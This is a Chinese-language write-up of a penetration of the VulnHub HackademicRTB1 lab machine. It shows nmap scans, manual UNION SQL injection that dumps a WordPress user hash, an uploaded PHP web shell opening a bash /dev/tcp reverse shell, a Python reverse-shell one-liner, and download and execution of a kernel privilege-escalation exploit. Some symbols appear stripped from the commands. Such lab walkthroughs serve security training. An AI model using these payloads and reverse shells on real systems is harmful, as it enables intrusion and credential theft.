红队实战:HackademicRTB1靶机渗透全流程解析(vulnhub)

张开发
2026/4/16 9:35:04 15 分钟阅读

分享文章

红队实战:HackademicRTB1靶机渗透全流程解析(vulnhub)
1. 靶机环境搭建与初始扫描这个HackademicRTB1靶机是VulnHub上非常经典的渗透测试练习环境特别适合红队演练手工注入和提权技术。我建议大家在VMware中配置NAT网络模式这样可以避免很多网络连接问题。记得启动时选择我已移动该虚拟机否则可能会遇到网卡不识别的情况。靶机启动后我们需要先确定它的IP地址。这里我习惯用nmap进行快速扫描nmap -sn 10.10.10.0/24这个命令会扫描整个网段存活的主机。找到靶机IP后假设是10.10.10.132接着进行详细端口扫描nmap --min-rate 10000 -p- 10.10.10.132 nmap -sT -sV -O -p22,80 10.10.10.132从扫描结果可以看到这个靶机只开放了80端口Apache服务22端口虽然存在但处于closed状态。操作系统内核版本显示为2.6.x这个信息对后续的提权非常重要。我通常会再用漏洞脚本扫描确认下基本情况nmap --scriptvuln -p80 10.10.10.1322. Web应用渗透与信息收集访问靶机80端口页面显示这是个黑客学院挑战。关键线索在target链接点击后会跳转到/Hackademic_RTB1/目录。查看页面源代码时我在注释中发现重要信息!-- This site is powered by WordPress 1.5.1.1 --WordPress 1.5.1.1是个很老的版本立即用searchsploit搜索漏洞searchsploit wordpress 1.5.1.1结果显示存在多个SQL注入漏洞。在探索网站时我发现Uncategorized分类页面的URL包含cat参数http://10.10.10.132/Hackademic_RTB1/?cat1测试SQL注入最直接的方法就是加单引号http://10.10.10.132/Hackademic_RTB1/?cat1页面返回了数据库错误信息暴露了完整的SQL查询语句SELECT * FROM wp_categories WHERE cat_ID 1\\\ LIMIT 1这个报错非常理想不仅确认存在注入点还展示了查询结构为后续注入提供了明确方向。3. 手工SQL注入实战确定注入点后我首先用order by判断列数http://10.10.10.132/Hackademic_RTB1/?cat1 order by 5当测试到order by 6时报错确认有5列。接着构造联合查询http://10.10.10.132/Hackademic_RTB1/?cat0 union select 1,2,3,4,5发现数字2会回显到页面于是利用这个位置注入信息。先获取数据库版本http://10.10.10.132/Hackademic_RTB1/?cat0 union select 1,version(),3,4,5接下来需要获取WordPress的用户凭证。通过查询wp_users表结构http://10.10.10.132/Hackademic_RTB1/?cat0 union select 1,group_concat(user_login,0x2d,user_pass),3,4,5 from wp_users获取到管理员用户GeorgeMiller的密码哈希7cbb3252ba6b7e9c422fac5334d22054。用在线工具破解后得到明文密码q1w2e3。4. WordPress后台利用与Shell获取使用获取的凭证登录/wp-admin后台。在Options Miscellaneous中开启文件上传功能添加php到允许上传的扩展名。然后上传包含以下代码的shell.php?php exec(/bin/bash -c bash -i /dev/tcp/10.10.10.128/1234 01); ?在Kali上启动监听nc -lvnp 1234访问上传的shell.php文件路径后成功获得反向Shell。为了更好的交互体验我用Python升级Shellpython -c import pty;pty.spawn(/bin/bash)5. 内核提权与权限提升当前是apache用户权限查看内核版本uname -a显示为2.6.31这是个很老的内核。搜索可用漏洞searchsploit linux kernel 2.6.3 | grep -i Privilege Escalation选择15285.c这个漏洞先在Kali上搭建临时web服务php -S 0.0.0.0:80在靶机上下载并编译cd /tmp wget http://10.10.10.128/15285.c gcc 15285.c -o exploit chmod x exploit ./exploit执行后成功提权到root最后读取flagcat /root/key.txt6. 技术要点与踩坑记录在这个靶机演练中有几个关键技术点值得注意SQL注入技巧通过0x2d(减号)分隔符使查询结果更易读这个技巧在实际渗透中非常实用。联合查询时要注意用0作为无效ID值确保只执行我们的查询语句。WordPress版本识别老版本WordPress的注释中经常包含版本信息这是快速识别CMS版本的有效方法。Shell稳定性处理获得初始Shell后一定要立即用Python升级为完整TTY否则很多命令无法正常使用。如果连接不稳定可以考虑用以下命令创建持久化连接python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((10.10.10.128,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);内核漏洞选择面对多个可用漏洞时优先选择与目标系统匹配度高的漏洞。我最初尝试的10018.c就失败了因为它是针对特定发行版的。MySQL提权失败分析虽然发现了MySQL root密码但UDF提权失败的原因是plugin目录权限不足。这个经验告诉我们提权前一定要先检查目录写入权限ls -la /usr/lib/mysql/plugin/

更多文章